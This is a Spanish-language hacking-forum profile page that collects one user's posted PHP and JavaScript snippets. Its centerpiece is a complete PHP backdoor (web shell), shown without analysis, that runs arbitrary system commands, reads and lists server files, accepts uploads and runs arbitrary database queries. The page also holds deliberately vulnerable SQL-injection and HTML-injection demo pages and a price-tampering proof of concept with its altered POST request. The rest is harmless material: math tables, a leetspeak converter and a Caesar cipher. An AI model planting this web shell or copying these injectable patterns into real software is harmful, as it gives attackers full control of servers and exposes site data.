Genial, estaría bien que cuando lo fixeen publiques el vector 
Zalu2

Zalu2
Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.
Mostrar Mensajes MenúNo tienes permitido ver enlaces. Registrate o Entra a tu cuenta
Que el Admin no lo sabe o ya se murio???
No tienes permitido ver enlaces. Registrate o Entra a tu cuenta
Excelente, iré a darle un ojo
Mira por donde te vengo a ver 11sex.
function ErrorLog(){
error_log(mysql_error()."\t IN: ".__FILE__."\n\n",3,'/var/www/error.txt');
}
<?php
function ErrorLog(){
error_log(mysql_error()."\t IN: ".__FILE__."\n\n",3,'/var/www/error.txt');
}
$id = $_GET['id'];
if(!empty($id)){
$conexion = mysql_connect ("127.0.0.1","root","toor");
mysql_select_db("test", $conexion);
$result = mysql_query ("SELECT * FROM noticias WHERE id=$_GET[id]", $conexion) or die(mysql_error().ErrorLog());
$row = mysql_fetch_array($result);
echo "<h1>Titulo: $row[titulo]</h1>\n";
echo "<p><b>Noticia: </b> $row[detalle]</p>\n";
echo "<i><b>Por: </b>$row[autor]</i>";
} else {
echo "Pagina no encontrada.";
}
?>
<?php
// a simple php backdoor | coded by z0mbie [30.08.03] | http://freenet.am/~zombie \\
ob_implicit_flush();
if(isset($_REQUEST['f'])){
$filename=$_REQUEST['f'];
$file=fopen("$filename","rb");
fpassthru($file);
die;
}
if(isset($_REQUEST['d'])){
$d=$_REQUEST['d'];
echo "<pre>";
if ($handle = opendir("$d")) {
echo "<h2>listing of $d</h2>";
while ($dir = readdir($handle)){
if (is_dir("$d/$dir")) echo "<a href='$PHP_SELF?d=$d/$dir'><font color=grey>";
else echo "<a href='$PHP_SELF?f=$d/$dir'><font color=black>";
echo "$dir\n";
echo "</font></a>";
}
} else echo "opendir() failed";
closedir($handle);
die ("<hr>");
}
if(isset($_REQUEST['c'])){
echo "<pre>";
system($_REQUEST['c']);
die;
}
if(isset($_REQUEST['upload'])){
if(!isset($_REQUEST['dir'])) die('hey,specify directory!');
else $dir=$_REQUEST['dir'];
$fname=$HTTP_POST_FILES['file_name']['name'];
if(!move_uploaded_file($HTTP_POST_FILES['file_name']['tmp_name'], $dir.$fname))
die('file uploading error.');
}
if(isset($_REQUEST['mquery'])){
$host=$_REQUEST['host'];
$usr=$_REQUEST['usr'];
$passwd=$_REQUEST['passwd'];
$db=$_REQUEST['db'];
$mquery=$_REQUEST['mquery'];
mysql_connect("$host", "$usr", "$passwd") or
die("Could not connect: " . mysql_error());
mysql_select_db("$db");
$result = mysql_query("$mquery");
if($result!=FALSE) echo "<pre><h2>query was executed correctly</h2>\n";
while ($row = mysql_fetch_array($result,MYSQL_ASSOC)) print_r($row);
mysql_free_result($result);
die;
}
?>
<pre><form action="<? echo $PHP_SELF; ?>" METHOD=GET >execute command: <input type="text" name="c"><input type="submit" value="go"><hr></form>
<form enctype="multipart/form-data" action="<?php echo $PHP_SELF; ?>" method="post"><input type="hidden" name="MAX_FILE_SIZE" value="1000000000">
upload file:<input name="file_name" type="file"> to dir: <input type="text" name="dir"> <input type="submit" name="upload" value="upload"></form>
<hr>to browse go to http://<? echo $SERVER_NAME.$REQUEST_URI; ?>?d=[directory here]
<br>for example:
http://<? echo $SERVER_NAME.$REQUEST_URI; ?>?d=/etc on *nix
or http://<? echo $SERVER_NAME.$REQUEST_URI; ?>?d=c:/windows on win
<hr>execute mysql query:
<form action="<? echo $PHP_SELF; ?>" METHOD=GET >
host:<input type="text" name="host"value="localhost"> user: <input type="text" name="usr" value=root> password: <input type="text" name="passwd">
database: <input type="text" name="db"> query: <input type="text" name="mquery"> <input type="submit" value="execute">
</form>
<!-- http://michaeldaw.org 2006 -->
<?php
// Form tampering bug PoC
$presupuesto = 100;
$compra = strip_tags($_POST['producto']);
function correcto(){
global $compra;
echo "Felicidades $compra comprado correctamente";
}
if(isset($_POST['producto']) && !empty($_POST['producto'])){
if($presupuesto >= $_POST['v_botella']){
correcto();
}else if ($presupuesto >= $_POST['v_cervesa']){
correcto();
}else{
echo "Lo sentimos, no tienes los fondos suficientes";
}
}else{
if(isset($_POST['send'])){
die("Debes seleccionar un producto");
}
echo "Tu presupuesto es : $presupuesto";
?>
<form action="" method="POST">
<select name="producto">
<option value="Botella"> Botella </option>
<option value="Cerveza"> Cervesa </option>
</select>
<input type="hidden" name="v_botella" value="500">
<input type="hidden" name="v_cervesa" value="200">
<input type="submit" name="send" value="Comprar!">
</form>
<?}?>
Citar
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (X11; Linux i686; rv:2.0.1) Gecko/20100101 Firefox/4.0.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip, deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: No tienes permitido ver enlaces. Registrate o Entra a tu cuenta
Content-Type: application/x-www-form-urlencoded
Content-Length: 60
Citarproducto=Botella&v_botella=500&v_cervesa=200&send=Comprar%21
Citarproducto=Botella&v_botella=00&v_cervesa=00&send=Comprar%21
<html>
<head>
<title> HTMLi Tester By 2Fac3R </title>
<body bgcolor="black" text="green" link="white">
<?php
//Se recibe la llamada por $_GET
$inj = $_GET['inj'];
//Sí la variable contiene algo, muestra el contenido
if(isset($inj))
{
echo $inj;
}else{
//Sino Nos da un link que nos direcciona a donde ponemos la inyeccion (el sitio de el GET por URL)
echo '<a href="http://127.0.0.1/htmli.php?inj=">Inyectar!</a>';
}
?>
</body>
</html>
<html>
<head>
<title> HTMLi Tester ($_POST)</title>
<body bgcolor="black" text="green">
<?php
$snd = $_POST['send'];
$it = $_POST['inj'];
if(isset($snd))
{
//Mostramos en pantalla el contenido que viene del Formulario
echo $it;
}else{
echo '
<form action="" method="POST">
<input type="text" name="inj">
<input type="submit" name="send" value="Inyectar!">
</form>
';
}
?>
</body>
</html>
<?php
$serv = "localhost";
$user = "root";
$pass = "root";
$db = "prueba";
if(isset($_POST['send']))
{
$conexion=mysql_connect($serv,$user,$pass);
mysql_select_db($db,$conexion) or die ("Error en la seleccion de la bd".mysql_error());
mysql_query("INSERT INTO comentarios(Autor,Titulo,Mensaje)
VALUES ('".$_REQUEST['Autor']."','".$_REQUEST['Titulo']."','".$_REQUEST['Mensaje']."')", $conexion)
or die ("Error en la query".mysql_error());
mysql_close($conexion);
echo "Se ha publicado correctamente";
}else{
echo '
<form action="" method="POST">
<b> Autor: <input type="text" name="Autor"> <br>
Titulo: <input type="text" name="Titulo"> <br> <br>
Mensaje: </b><br><TEXTAREA name="Mensaje" cols="100" rows="10"> </TEXTAREA> <br>
<input type="submit" name="send" value="Publicar!">
</form>
';
}
?>
<?php
# Reemplazar por tus datos:
$serv = "localhost";
$user = "root";
$pass = "root";
$db = "prueba";
#...............................
$conexion=mysql_connect($serv, $user, $pass) or die("Problemas en la conexion");
# Se selecciona la bd
mysql_select_db($db,$conexion) or die("Problemas en la selección de la base de datos");
# Se seleccionan las columnas a trabajar
$comments=mysql_query("SELECT * FROM comentarios",$conexion) or die("Problemas en el select:".mysql_error());
# Se mete en la variable la llamada a la sql anterior
# Se crea un bucle a trabajar en cada vuelta de datos que encuentre
while ($dat=mysql_fetch_array($comments))
{
echo "<b> Autor :</b>".$dat['Autor']."<br>";
echo "<b> Titulo : </b>".$dat['Titulo']."<br>";
echo "<b> Mensaje : </b>".$dat['Mensaje']."<br>";
echo "---------------------------------------------<br>";
}
# Cerramos la conexion...
mysql_close($conexion);
?>
<html>
<head>
<title> HTMLi Tester By 2Fac3R (parcheado) </title>
<body bgcolor="black" text="green" link="white">
<?php
$inj = $_GET['inj'];
if(isset($inj))
{
echo strip_tags($inj);
}else{
echo '<a href="http://127.0.0.1/htmli.php?inj=">Inyectar!</a>';
}
?>
</body>
</html>
<html>
<head>
<title> HTMLi Tester By 2Fac3R (parcheado) </title>
<body bgcolor="black" text="green" link="white">
<?php
$inj = $_GET['inj'];
if(isset($inj))
{
echo htmlentities($inj)
}else{
echo '<a href="http://127.0.0.1/htmli.php?inj=">Inyectar!</a>';
}
?>
</body>
</html>
No tienes permitido ver enlaces. Registrate o Entra a tu cuenta
Buenisimo! en underc0de tenemos uno similar hecho por Turka
No tienes permitido ver enlaces. Registrate o Entra a tu cuenta
Esta excelente! muchas gracias!
No tienes permitido ver enlaces. Registrate o Entra a tu cuenta
Has posteado muy buenos scripts! Algunos se podrian poner online como servicios!
<?php
# Remplaza por tus datos
$year = ;
$mes = ;
$dia = ;
# .......................
$nacimiento = mktime(0,0,0,$mes,$dia,$year);
$hoy = time();
$resta = $hoy - $nacimiento;
$total = round($resta/86400);
echo "Tienes $total días de vida";
?>
<script>
/*
Funciones Matemáticas [JS] By 2Fac3R
*/
if(valor = parseInt(prompt("Ingresa el valor de X"))){ // obtenemos el valor y lo hacemos entero
document.write('<table border="1"><th><b>X</b></th> <th><b>Y</b></th>');
for(i=0;i<6;i++){ // Nos mostrara 6 resultados
fun = valor*13; // Aqui la función matemática
document.write("<tr><td>"+valor.toFixed(1)+"</td><td>"+fun.toFixed(1)+"</td></tr>");
valor = valor + 0.1; // le sumamos decimales
}
document.write("</table>");
}else{ // Si el valor no es numerico
alert("Ingrese un valor numerico");
document.write("Ningun valor fue ingresado, <a href='funcmate2.html'>Regresar!</a>");
}
</script>
<?php
/*
Resolver funciones matemáticas By 2Fac3R
*/
$valor = (int)$_POST['valor']; // Valor de X
$limite = (int)$_POST['res']; // Numero de veces a mostrar resultados
$send = $_POST['send']; // Variable del envio
if(isset($send) && !empty($valor)&&($limite)){ // Comprobamos que se hayan ingresado datos
echo '
<table border="1">
<th>X</th><th>Y</th>
';
for($i=0;$i<$limite;$i++){ // Creando la tabla...
$func = $valor*13; // Aqui iría la funcion
$valor = $valor+0.1; // Le sumamos 0.1 en cada iteraccion
echo '<tr><td>'.$valor.'</td><td>'.$func.'</td></tr>
';
}
echo '</table><br>';
}else{ // Sino que muestre el formulario
?>
<form action="" method="POST">
Ingresa el valor de X: <input type="text" name="valor" size="4" maxlength="5" title="Maximo 5 caracteres"> <br>
Cuantos resultados deseas mostrar? <input type="text" name="res" size="5" maxlength="5" title="Maximo 99999 resultados"> <br>
<input type="submit" name="send" value="Test!">
</form>
<?
}
?>
<!--
RESOLVER FUNCIONES MATEMÁTICAS BY SkippyCreammy & 2Fac3R
-->
<input type="button" value="Click aqui para agregar el valor de X" onclick="fun()">
<script>
function fun() {
var x = (prompt("Valor inicial de X:"));
if(isNaN(x)||x>10||x<-20) { //Si X no es un numero o es mayor a 10 y -20
alert("X debe ser un numero entre -20 y 10")
fun();
} else {
if( x.charAt(0) == "-" ) { //Si x es negativo
x = x.substring(1,x.length); // quitarle el signo "-"
if(x.indexOf(".") == true) { // si son decimales
x = "-"+x;
decimales(x);
} else { //si son enteros
x = "-"+x;
enteros(x);
}
} else { //Si x es positivo
if(x.indexOf(".") == true) { // y con decimales
decimales(x);
} else { // si x es entero
enteros(x);
}
}
}
}
function decimales(x) {
document.write("<table border='1'><th>X</th><th>Y</th>");
x = parseFloat(x); //pasamos x a numeros con decimales
limit = x + parseFloat(1.0); //agregamos el valor final de x
while(x<limit) {
resul = ((Math.pow(x,2))) + (5 * x) - 2;
document.write("<tr><td>"+x.toFixed(1)+"</td><td>"+resul.toFixed(1)+"</td></tr>");
x += parseFloat(0.1);
if (x>limit) {
break;
}
}
document.write("</table>");
}
function enteros(x) {
document.write("<table border='1'><th>X</th><th>Y</th>");
x = parseInt(x); //pasamos x a enteros
limit = x + parseInt(10); //agregamos el valor final de x
for(x;x<=limit;x++) {
resul = ((Math.pow(x,2))) + (5 * x) - 2;
document.write("<tr><td>"+x+"</td><td>"+resul+"</td></tr>");
if (x>limit) {
break;
}
}
document.write("</table>");
}
</script>
<?php
/*
Escritura estilo facebook automatizado xDD
By 2Fac3R
*/
$abc = array('a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z');
$replace = array('4','8','c','d','3','f','6','h','1','j','k','l','m','n','0','p','q','r','5','t','u','v','w','x','2');
$msj = 'Probando escritura estilo facebook'; // Tu mensaje aquí
echo str_replace($abc,$replace,$msj);
?>
<style type="text/css" media="all">
*{
color:green;
text-align:center;
}
.contenido{
text-align:justify;
}
</style>
<?php
$texto = $_POST['texto'];
$c_text = $_POST['ciphertext'];
$cifrar = $_POST['cifrar'];
$descifrar = $_POST['descifrar'];
$abc = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz';
$cada = $_POST['cada'];
function cifrar($abc,$cada,$texto,$opc){
$partes = explode(' ',$texto);
foreach($partes as $parte){
for($i=0;$i < count($texto);$i++){
$x = 0;
while($x < strlen($parte)){
$found = strpos($abc,$parte{$x++});
echo $abc{$found+$cada};
}
echo " ";
}
}
}
function descifrar($abc,$cada,$c_text){
$partes = explode(' ',$c_text);
foreach($partes as $parte){
for($i=0;$i < count($c_text);$i++){
$x = 0;
while($x < strlen($parte)){
$found = strpos($abc,$parte{$x++});
echo $abc{$found-$cada};
}
echo " ";
}
}
}
?>
<h1> Caesar cipher By 2Fac3R </h1>
<a href="http://es.wikipedia.org/wiki/Cifrado_C%C3%A9sar">
<img src="https://upload.wikimedia.org/wikipedia/commons/thumb/2/2b/Caesar3.svg/220px-Caesar3.svg.png" alt="cifrado caesar">
</img></a>
<br><br>
<form action="" method="POST">
<textarea name="texto" cols="80" rows="5" class="contenido"><?
echo isset($descifrar)&&($cada) ? descifrar($abc,$cada,$c_text) : 'Encrypt';
?></textarea> <br>
<button type="submit" name="cifrar"> Cifrar </button>
<button type="submit" name="descifrar"> Descifrar </button> <br>
<textarea name="ciphertext" cols="80" rows="5" class="contenido"><?
echo isset($cifrar)&&($cada) ? cifrar($abc,$cada,$texto,1) : 'Decrypt';
?></textarea> <br>
Salto :<input type="number" name="cada" size="1" maxlength="2" value="2"> <!-- 2 por defecto -->
</form>
El <i>cifrado César</i> mueve cada letra un determinado número de espacios en el alfabeto.
Por ejemplo, con un desplazamiento de 3, la <b>A</b> seria sustituida por la <b>D</b> (situada 3 lugares a
la derecha de la A ), la <b>B</b> seria reemplazada por la <b>E</b>, etc.<br>
<a style="color:blue" href="http://es.wikipedia.org/wiki/Cifrado_C%C3%A9sar">Mas info!.</a>